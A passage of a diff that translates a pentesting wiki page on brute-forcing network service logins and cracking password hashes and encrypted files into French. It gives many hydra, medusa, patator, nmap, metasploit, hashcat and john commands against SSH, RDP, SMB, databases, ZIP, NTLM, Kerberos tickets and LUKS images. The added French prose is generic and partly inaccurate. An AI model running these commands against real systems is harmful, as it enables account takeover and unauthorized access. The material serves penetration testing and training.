Force + +OracleSQL login brute force attacks can be performed using a variety of tools, including Hydra and Metasploit. These attacks involve attempting to guess a user's username and password by repeatedly trying different combinations until the correct one is found. + +``` +hydra -L users.txt -P passwords.txt -e nsr -t 16 -vV oracle-sql +``` + +#### 2. OracleSQL SID Brute Force + +In addition to brute forcing login credentials, it is also possible to brute force the OracleSID. This can be done using the following command: + +``` +tnscmd10g version -h -p -s -U -P +``` + +### Prevention + +To prevent brute force attacks against OracleSQL, it is recommended to implement strong password policies and to limit the number of login attempts allowed. Additionally, it is important to keep the OracleSQL software up to date with the latest security patches and to monitor the system for any suspicious activity. ```bash patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017 @@ -296,28 +403,24 @@ msf> set SID #for some reason nmap fails sometimes when executing this script nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid= ``` - -In order to use **oracle\_login** with **patator** you need to **install**: - +Pour utiliser **oracle\_login** avec **patator**, vous devez **installer** : ```bash pip3 install cx_Oracle --upgrade ``` - -[Offline OracleSQL hash bruteforce](../network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** and **11.2.0.3**): - +[Bruteforce de hachage OracleSQL hors ligne](../network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** et **11.2.0.3**) : ```bash nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 ``` - ### POP +Le protocole POP (Post Office Protocol) est un protocole de récupération de courrier électronique. Il permet à un client de récupérer des messages électroniques à partir d'un serveur de messagerie. Le protocole POP est généralement utilisé pour récupérer des messages électroniques à partir d'un serveur de messagerie distant vers un client de messagerie local. ```bash hydra -l USERNAME -P /path/to/passwords.txt -f pop3 -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f pop3 -V ``` - ### PostgreSQL +PostgreSQL est un système de gestion de base de données relationnelle open source. Il est souvent utilisé pour stocker des données dans des applications web et est pris en charge par de nombreux fournisseurs de cloud. Les attaques de force brute contre PostgreSQL peuvent être effectuées en utilisant des outils tels que Hydra ou Patator. Les attaquants peuvent également utiliser des dictionnaires de mots de passe pour tenter de deviner les informations d'identification d'un utilisateur. Il est important de noter que les attaques de force brute sont souvent inefficaces contre les systèmes qui ont des politiques de mot de passe solides et des mesures de sécurité supplémentaires telles que l'authentification à deux facteurs. ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgres medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres @@ -326,106 +429,154 @@ patator pgsql_login host= user=FILE0 0=/root/Desktop/user.txt password=FILE1 use auxiliary/scanner/postgres/postgres_login nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 ``` - ### PPTP -You can download the `.deb` package to install from [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) - +Vous pouvez télécharger le paquet `.deb` à installer depuis [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) ```bash sudo dpkg -i thc-pptp-bruter*.deb #Install the package cat rockyou.txt | thc-pptp-bruter –u ``` - ### RDP +Remote Desktop Protocol (RDP) est un protocole de communication utilisé pour la connexion à distance à un ordinateur sur un réseau. Les attaquants peuvent utiliser des attaques de force brute pour deviner les identifiants de connexion RDP et accéder à des systèmes distants. Les outils couramment utilisés pour les attaques de force brute RDP incluent Hydra, Medusa et Ncrack. Les attaquants peuvent également utiliser des outils tels que RDPY pour automatiser les attaques de force brute RDP. Pour se protéger contre les attaques de force brute RDP, il est recommandé d'utiliser des mots de passe forts et de limiter l'accès RDP aux adresses IP autorisées. ```bash ncrack -vv --user -P pwds.txt rdp:// hydra -V -f -L -P rdp:// ``` - ### Redis +Redis est une base de données en mémoire open source qui stocke des données clé-valeur. Il est souvent utilisé pour la mise en cache, la messagerie et la gestion de sessions. Redis est souvent utilisé dans les applications web pour améliorer les performances en stockant des données fréquemment utilisées en mémoire plutôt que de les récupérer à partir d'une base de données disque. + +#### Brute force + +Redis n'a pas de mécanisme de verrouillage de compte, ce qui le rend vulnérable aux attaques de force brute. Les attaquants peuvent utiliser des outils tels que `redis-cli` pour tenter de deviner les mots de passe en utilisant une liste de mots de passe courants ou en utilisant des attaques de dictionnaire. Il est important de choisir un mot de passe fort et complexe pour protéger votre instance Redis. ```bash msf> use auxiliary/scanner/redis/redis_login nmap --script redis-brute -p 6379 hydra –P /path/pass.txt redis://: # 6379 is the default ``` - ### Rexec +Le protocole Rexec (Remote Execution) est un protocole de communication qui permet à un utilisateur distant d'exécuter des commandes sur un serveur distant. Il est souvent utilisé pour l'administration à distance de systèmes Unix. Le protocole Rexec transmet les informations d'identification de l'utilisateur en clair, ce qui le rend vulnérable aux attaques de type "man-in-the-middle". Il est donc recommandé d'utiliser des alternatives plus sécurisées telles que SSH. ```bash hydra -l -P rexec:// -v -V ``` - ### Rlogin +Le protocole Rlogin est un protocole de connexion à distance qui permet à un utilisateur de se connecter à un autre ordinateur sur un réseau et d'exécuter des commandes sur cet ordinateur comme s'il était assis devant lui. Le protocole Rlogin utilise le port 513 et est souvent utilisé pour se connecter à des systèmes Unix. Les attaques de force brute contre le protocole Rlogin peuvent être effectuées à l'aide d'outils tels que Hydra ou Medusa. Les attaquants peuvent utiliser des listes de mots de passe courants ou des dictionnaires pour tenter de deviner les mots de passe des utilisateurs. Il est recommandé de désactiver le protocole Rlogin si possible et d'utiliser des protocoles de connexion à distance plus sécurisés tels que SSH. ```bash hydra -l -P rlogin:// -v -V ``` - ### Rsh +Rsh (Remote Shell) est un protocole de communication qui permet à un utilisateur de se connecter à un ordinateur distant et d'exécuter des commandes sur cet ordinateur comme s'il était physiquement présent devant lui. Le protocole Rsh est souvent utilisé pour automatiser des tâches système sur des machines distantes. Cependant, il est important de noter que Rsh n'est pas sécurisé car il transmet les informations d'identification en texte clair, ce qui le rend vulnérable aux attaques de type brute-force. Il est donc recommandé d'utiliser des alternatives plus sécurisées telles que SSH. ```bash hydra -L rsh:// -v -V ``` - [http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind) ### Rsync +Rsync est un outil de synchronisation de fichiers très utile pour les sauvegardes et la migration de données. Cependant, il peut également être utilisé pour exécuter des commandes à distance sur un système distant. Pour ce faire, il utilise le protocole RSH (Remote Shell), qui est un protocole de communication réseau qui permet à un utilisateur de se connecter à un ordinateur distant et d'exécuter des commandes sur ce système. + +Lorsque Rsync est utilisé avec RSH, il est important de noter que les informations d'identification de l'utilisateur sont envoyées en clair sur le réseau. Cela signifie que si un attaquant est en mesure d'intercepter le trafic réseau, il peut facilement récupérer les informations d'identification de l'utilisateur, y compris le nom d'utilisateur et le mot de passe. + +Pour éviter cela, il est recommandé d'utiliser SSH (Secure Shell) à la place de RSH. SSH est un protocole de communication réseau sécurisé qui utilise une méthode de cryptage pour protéger les informations d'identification de l'utilisateur lorsqu'elles sont envoyées sur le réseau. ```bash nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 ``` - ### RTSP +Le protocole RTSP (Real Time Streaming Protocol) est un protocole de contrôle utilisé pour la diffusion en continu de données audio et vidéo sur des réseaux IP. Il est souvent utilisé pour la diffusion en direct de vidéos de surveillance et de webcams. Les attaques de force brute contre les serveurs RTSP peuvent être utilisées pour tenter de deviner les noms d'utilisateur et les mots de passe, ainsi que pour identifier les flux vidéo disponibles. Les outils couramment utilisés pour les attaques de force brute RTSP incluent Hydra et Nmap. ```bash hydra -l root -P passwords.txt rtsp ``` - ### SNMP +Le protocole SNMP (Simple Network Management Protocol) est utilisé pour gérer et surveiller les équipements réseau tels que les routeurs, les commutateurs et les serveurs. Il utilise une architecture client-serveur pour permettre aux administrateurs réseau de collecter des informations sur les équipements réseau et de les configurer à distance. + +Les attaques par force brute contre SNMP sont généralement effectuées en utilisant des outils tels que SNMP-Brute ou SNMP-Dictionary. Ces outils tentent de deviner les chaînes de communauté SNMP (SNMP community strings) en envoyant des requêtes SNMP à l'équipement cible avec différentes chaînes de communauté. Si une chaîne de communauté correcte est devinée, l'attaquant peut accéder aux informations de l'équipement et potentiellement le compromettre. + +Il est important de noter que de nombreux équipements réseau ont des chaînes de communauté SNMP par défaut, telles que "public" ou "private". Les administrateurs réseau doivent donc changer ces chaînes de communauté par défaut pour des chaînes plus complexes et difficiles à deviner. ```bash msf> use auxiliary/scanner/snmp/snmp_login nmap -sU --script snmp-brute [--script-args snmp-brute.communitiesdb= ] onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp ``` - ### SMB +Le protocole SMB (Server Message Block) est utilisé pour le partage de fichiers et d'imprimantes entre des ordinateurs. Il est couramment utilisé dans les environnements Windows et peut être exploité pour effectuer des attaques de force brute. + +#### Brute force sur SMB + +L'attaque de force brute sur SMB consiste à essayer de deviner un nom d'utilisateur et un mot de passe valides pour accéder à un partage SMB. Les outils couramment utilisés pour cette attaque sont `smbclient`, `smbmap` et `enum4linux`. + +##### `smbclient` + +`smbclient` est un outil en ligne de commande qui permet de se connecter à un partage SMB et d'exécuter des commandes. Pour effectuer une attaque de force brute avec `smbclient`, vous pouvez utiliser la commande suivante : + +``` +for user in $(cat users.txt); do for pass in $(cat passwords.txt); do smbclient -U $user%$pass -L //target; done; done +``` + +Cette commande utilise deux fichiers texte, `users.txt` et `passwords.txt`, qui contiennent respectivement une liste de noms d'utilisateur et de mots de passe à essayer. La commande tente ensuite de se connecter à un partage SMB sur la cible en utilisant chaque combinaison nom d'utilisateur/mot de passe. + +##### `smbmap` + +`smbmap` est un outil en ligne de commande qui permet de scanner un réseau SMB et de lister les partages SMB disponibles. Pour effectuer une attaque de force brute avec `smbmap`, vous pouvez utiliser la commande suivante : + +``` +for user in $(cat users.txt); do for pass in $(cat passwords.txt); do smbmap -u $user -p $pass -H target; done; done +``` + +Cette commande utilise également deux fichiers texte, `users.txt` et `passwords.txt`, qui contiennent respectivement une liste de noms d'utilisateur et de mots de passe à essayer. La commande tente ensuite de se connecter à chaque partage SMB disponible sur la cible en utilisant chaque combinaison nom d'utilisateur/mot de passe. + +##### `enum4linux` + +`enum4linux` est un outil en ligne de commande qui permet de récupérer des informations sur un système Windows via SMB. Pour effectuer une attaque de force brute avec `enum4linux`, vous pouvez utiliser la commande suivante : + +``` +for user in $(cat users.txt); do for pass in $(cat passwords.txt); do enum4linux -u $user -p $pass target; done; done +``` + +Cette commande utilise également deux fichiers texte, `users.txt` et `passwords.txt`, qui contiennent respectivement une liste de noms d'utilisateur et de mots de passe à essayer. La commande tente ensuite de récupérer des informations sur le système cible en utilisant chaque combinaison nom d'utilisateur/mot de passe. ```bash nmap --script smb-brute -p 445 hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1 ``` - ### SMTP +SMTP (Simple Mail Transfer Protocol) est un protocole de communication utilisé pour transférer des courriels entre les serveurs de messagerie. Les attaquants peuvent utiliser des attaques de force brute pour deviner les identifiants de connexion SMTP valides et accéder aux comptes de messagerie. Les outils couramment utilisés pour les attaques de force brute SMTP incluent Hydra, Medusa et Ncrack. Il est important de noter que de nombreuses organisations limitent le nombre de tentatives de connexion SMTP pour éviter les attaques de force brute. ```bash hydra -l -P /path/to/passwords.txt smtp -V hydra -l -P /path/to/passwords.txt -s 587 -S -v -V #Port 587 for SMTP with SSL ``` - ### SOCKS +SOCKS (Socket Secure) est un protocole de réseau qui permet aux utilisateurs d'acheminer leur trafic Internet à travers un proxy. Les serveurs SOCKS peuvent être utilisés pour contourner les restrictions de pare-feu et de filtrage de contenu, ainsi que pour masquer l'adresse IP de l'utilisateur. Les attaquants peuvent également utiliser des serveurs SOCKS pour masquer leur adresse IP lorsqu'ils effectuent des activités malveillantes. Les outils de piratage tels que Nmap et Hydra prennent en charge l'utilisation de serveurs SOCKS pour masquer l'adresse IP de l'attaquant lorsqu'ils effectuent des scans de port et des attaques par force brute. ```bash nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 ``` - ### SSH +#### Brute force + +L'attaque par force brute est l'une des méthodes les plus courantes pour obtenir un accès non autorisé à un système distant via SSH. Cette attaque consiste à essayer de deviner le nom d'utilisateur et le mot de passe corrects en essayant différentes combinaisons jusqu'à ce que la bonne soit trouvée. + +Il existe plusieurs outils pour effectuer des attaques par force brute sur SSH, tels que Hydra, Medusa, Ncrack, etc. Ces outils peuvent être utilisés pour tester la sécurité de votre propre système ou pour effectuer des attaques sur des systèmes tiers. + +Il est important de noter que les attaques par force brute peuvent être détectées et bloquées par des mesures de sécurité telles que la limitation du nombre de tentatives de connexion, l'utilisation de mots de passe forts et la désactivation de l'authentification par mot de passe au profit de l'authentification par clé publique. ```bash hydra -l root -P passwords.txt [-t 32] ssh ncrack -p 22 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M ssh patator ssh_login host= port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed' ``` +#### Clés SSH faibles / PRNG prévisible de Debian +Certains systèmes ont des failles connues dans la graine aléatoire utilisée pour générer du matériel cryptographique. Cela peut entraîner une réduction considérable de l'espace de clés qui peut être bruteforcé avec des outils tels que [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Des ensembles de clés faibles pré-générées sont également disponibles, tels que [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). -#### Weak SSH keys / Debian predictable PRNG -Some systems have known flaws in the random seed used to generate cryptographic material. This can result in a dramatically reduced keyspace which can be bruteforced with tools such as [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Pre-generated sets of weak keys are also available such as [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). - -### SQL Server - +### Serveur SQL ```bash #Use the NetBIOS name of the machine as domain crackmapexec mssql -d -u usernames.txt -p passwords.txt @@ -434,17 +585,21 @@ medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssq nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT ``` - ### Telnet +Telnet est un protocole de communication qui permet d'accéder à distance à un serveur ou à un ordinateur. Il est souvent utilisé pour administrer des équipements réseau tels que des routeurs, des commutateurs ou des pare-feu. Cependant, il est important de noter que Telnet transmet toutes les données, y compris les mots de passe, en texte clair, ce qui le rend vulnérable aux attaques de type "man-in-the-middle". Il est donc recommandé d'utiliser des protocoles de communication plus sécurisés tels que SSH. ```bash hydra -l root -P passwords.txt [-t 32] telnet ncrack -p 23 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M telnet ``` - ### VNC +VNC (Virtual Network Computing) est un protocole de bureau à distance qui permet à un utilisateur de contrôler à distance un ordinateur à partir d'un autre ordinateur ou d'un appareil mobile. Les serveurs VNC sont souvent utilisés pour fournir un accès à distance à des ordinateurs de bureau ou à des serveurs. + +Les attaques de force brute contre les serveurs VNC sont courantes et peuvent être effectuées à l'aide d'outils tels que Hydra, Medusa ou Ncrack. Les attaquants peuvent utiliser des listes de mots de passe courants ou des dictionnaires de mots de passe pour tenter de deviner les informations d'identification d'un utilisateur. + +Il est important de noter que l'utilisation de mots de passe forts et uniques est essentielle pour protéger les serveurs VNC contre les attaques de force brute. Les administrateurs système doivent également s'assurer que les serveurs VNC sont configurés de manière sécurisée et que les ports utilisés pour la communication VNC sont correctement protégés. ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s vnc medusa -h –u root -P /root/Desktop/pass.txt –M vnc @@ -458,40 +613,37 @@ use auxiliary/scanner/vnc/vnc_login set RHOSTS set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst ``` - ### Winrm +Winrm est un protocole de gestion à distance pour les systèmes d'exploitation Windows. Il permet aux administrateurs système de gérer les serveurs Windows à distance. Winrm utilise le port 5985 pour les connexions HTTP et le port 5986 pour les connexions HTTPS. Les attaquants peuvent utiliser des attaques de force brute pour tenter de deviner les identifiants d'authentification et accéder à distance aux systèmes Windows vulnérables. Les outils couramment utilisés pour les attaques de force brute contre Winrm sont Hydra, Medusa et Ncrack. ```bash crackmapexec winrm -d -u usernames.txt -p passwords.txt ``` - ![](<../.gitbook/assets/image (9) (1) (2).png>) -\ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.io/) pour créer et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez l'accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Local -### Online cracking databases +### Bases de données de craquage en ligne -* [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1) -* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, WPA2 captures, and archives MSOffice, ZIP, PDF...) +* [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 et SHA1) +* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, captures WPA2 et archives MSOffice, ZIP, PDF...) * [https://crackstation.net/](https://crackstation.net) (Hashes) * [https://md5decrypt.net/](https://md5decrypt.net) (MD5) -* [https://gpuhash.me/](https://gpuhash.me) (Hashes and file hashes) +* [https://gpuhash.me/](https://gpuhash.me) (Hashes et hash de fichiers) * [https://hashes.org/search.php](https://hashes.org/search.php) (Hashes) * [https://www.cmd5.org/](https://www.cmd5.org) (Hashes) * [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512) * [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5) * [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com) -Check this out before trying to brute force a Hash. +Vérifiez cela avant d'essayer de forcer un hash. ### ZIP - ```bash #sudo apt-get install fcrackzip fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip @@ -507,12 +659,10 @@ john zip.john hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt .\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack ``` +#### Attaque de texte clair connu sur les fichiers zip -#### Known plaintext zip attack - -You need to know the **plaintext** (or part of the plaintext) **of a file contained inside** the encrypted zip. You can check **filenames and size of files contained inside** an encrypted zip running: **`7z l encrypted.zip`**\ -Download [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)from the releases page. - +Vous devez connaître le **texte clair** (ou une partie du texte clair) **d'un fichier contenu à l'intérieur** du fichier zip chiffré. Vous pouvez vérifier les **noms de fichiers et la taille des fichiers contenus à l'intérieur** d'un fichier zip chiffré en exécutant la commande suivante: **`7z l encrypted.zip`**\ +Téléchargez [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)depuis la page des versions. ```bash # You need to create a zip file containing only the file that is inside the encrypted zip zip plaintext.zip plaintext.file @@ -524,9 +674,9 @@ zip plaintext.zip plaintext.file ./bkcrack -C -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd unzip unlocked.zip #User new_pwd as password ``` - ### 7z +7z est un format de compression de fichiers open source qui est utilisé pour compresser et décompresser des fichiers. Il est souvent utilisé pour compresser des fichiers volumineux en un seul fichier plus petit. Les fichiers 7z peuvent être protégés par mot de passe pour empêcher l'accès non autorisé aux données qu'ils contiennent. Les attaquants peuvent utiliser des attaques de force brute pour tenter de deviner le mot de passe d'un fichier 7z protégé. ```bash cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z ``` @@ -537,9 +687,9 @@ wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo apt-get install libcompress-raw-lzma-perl ./7z2john.pl file.7z > 7zhash.john ``` - ### PDF +Les fichiers PDF peuvent également être soumis à des attaques de force brute. Les outils tels que `pdfcrack` et `hashcat` peuvent être utilisés pour casser les mots de passe des fichiers PDF. Il est important de noter que les fichiers PDF peuvent également contenir des scripts malveillants, il est donc recommandé de ne pas ouvrir de fichiers PDF provenant de sources inconnues ou non fiables. ```bash apt-get install pdfcrack pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt @@ -548,13 +698,11 @@ pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt sudo apt-get install qpdf qpdf --password= --decrypt encrypted.pdf plaintext.pdf ``` +### Mot de passe propriétaire PDF -### PDF Owner Password - -To crack a PDF Owner password check this: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) +Pour craquer un mot de passe propriétaire PDF, suivez ce lien : [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) ### JWT - ```bash git clone https://github.com/Sjord/jwtcrack.git cd jwtcrack @@ -566,17 +714,15 @@ python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5h python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john john jwt.john #It does not work with Kali-John ``` - -### NTLM cracking - +### Craquage NTLM ```bash Format:USUARIO:ID:HASH_LM:HASH_NT::: john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot ``` - ### Keepass +Keepass est un gestionnaire de mots de passe open source qui permet de stocker en toute sécurité des informations sensibles telles que des mots de passe, des clés de chiffrement et des notes. Il utilise un algorithme de chiffrement avancé pour protéger les données stockées et nécessite un mot de passe principal pour accéder à la base de données. Keepass est disponible pour Windows, Linux et macOS, ainsi que pour les appareils mobiles. Il est également compatible avec les navigateurs Web pour remplir automatiquement les informations de connexion. ```bash sudo apt-get install -y kpcli #Install keepass tools like keepass2john keepass2john file.kdbx > hash #The keepass is only using password @@ -584,30 +730,30 @@ keepass2john -k file.kdbx > hash # The keepass is also using a f #The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` - ### Keberoasting +Le Keberoasting est une technique d'attaque qui consiste à extraire les informations d'identification des comptes de service Active Directory qui utilisent Kerberos pour l'authentification. Cette technique exploite une faiblesse dans le chiffrement Kerberos qui permet à un attaquant de récupérer les informations de hachage de mot de passe des comptes de service sans avoir besoin d'accéder à un compte d'utilisateur avec des privilèges élevés. Les informations de hachage de mot de passe peuvent ensuite être utilisées pour effectuer une attaque de force brute hors ligne pour récupérer le mot de passe en clair. + +Pour effectuer une attaque de Keberoasting, un attaquant doit d'abord identifier les comptes de service qui utilisent Kerberos pour l'authentification. Cela peut être fait en utilisant des outils tels que BloodHound ou PowerView pour cartographier les relations de confiance entre les comptes de service et les comptes d'utilisateur. Une fois que les comptes de service ont été identifiés, l'attaquant peut extraire les informations de hachage de mot de passe en utilisant des outils tels que Rubeus ou Mimikatz. + +Il est important de noter que le Keberoasting ne nécessite pas d'accès administratif au domaine ou à l'ordinateur cible. Cela signifie qu'un attaquant peut utiliser cette technique pour extraire des informations de hachage de mot de passe à partir d'un compte de service sans avoir besoin d'accéder à un compte d'utilisateur avec des privilèges élevés. Pour se protéger contre le Keberoasting, il est recommandé de désactiver les comptes de service qui ne sont pas nécessaires et de limiter les autorisations des comptes de service qui sont nécessaires. ```bash john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi ``` +### Image Lucks -### Lucks image - -#### Method 1 - -Install: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks) +#### Méthode 1 +Installation : [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks) ```bash bruteforce-luks -f ./list.txt ./backup.img cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` - -#### Method 2 - +#### Méthode 2 ```bash cryptsetup luksDump backup.img #Check that the payload offset is set to 4096 dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1 @@ -616,39 +762,33 @@ cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` - -Another Luks BF tutorial: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) - ### Mysql +### MySQL ```bash #John hash format :$mysqlna$* dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d ``` - -### PGP/GPG Private key - +### Clé privée PGP/GPG ```bash gpg2john private_pgp.key #This will generate the hash and save it in a file john --wordlist=/usr/share/wordlists/rockyou.txt ./hash ``` - ### Cisco
-### DPAPI Master Key +### Clé maître DPAPI -Use [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) and then john +Utilisez [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) puis john. -### Open Office Pwd Protected Column +### Colonne protégée par mot de passe dans Open Office -If you have an xlsx file with a column protected by a password you can unprotect it: - -* **Upload it to google drive** and the password will be automatically removed -* To **remove** it **manually**: +Si vous avez un fichier xlsx avec une colonne protégée par un mot de passe, vous pouvez la déprotéger : +* **Téléchargez-le sur Google Drive** et le mot de passe sera automatiquement supprimé +* Pour le **supprimer manuellement** : ```bash unzip file.xlsx grep -R "sheetProtection" ./* @@ -657,76 +797,63 @@ hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UV # Remove that line and rezip the file zip -r file.xls . ``` - -### PFX Certificates - +### Certificats PFX ```bash # From https://github.com/Ridter/p12tool ./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt # From https://github.com/crackpkcs12/crackpkcs12 crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx ``` - ![](<../.gitbook/assets/image (9) (1) (2).png>) -\ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.io/) pour construire et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez l'accès aujourd'hui: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Tools +## Outils -**Hash examples:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes) +**Exemples de hash :** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes) ### Hash-identifier - ```bash hash-identifier > ``` - -### Wordlists +### Listes de mots * **Rockyou** * [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists) * [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists) * [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords) -### **Wordlist Generation Tools** - -* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Advanced keyboard-walk generator with configurable base chars, keymap and routes. +### **Outils de génération de listes de mots** +* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Générateur de clavier avancé avec des caractères de base configurables, une carte de clavier et des itinéraires. ```bash kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt ``` +### Mutation de John -### John mutation - -Read _**/etc/john/john.conf**_ and configure it - +Lire _**/etc/john/john.conf**_ et le configurer ```bash john --wordlist=words.txt --rules --stdout > w_mutated.txt john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules ``` - ### Hashcat -#### Hashcat attacks +#### Attaques Hashcat -* **Wordlist attack** (`-a 0`) with rules - -**Hashcat** already comes with a **folder containing rules** but you can find [**other interesting rules here**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules). +* **Attaque par liste de mots** (`-a 0`) avec des règles +**Hashcat** est déjà 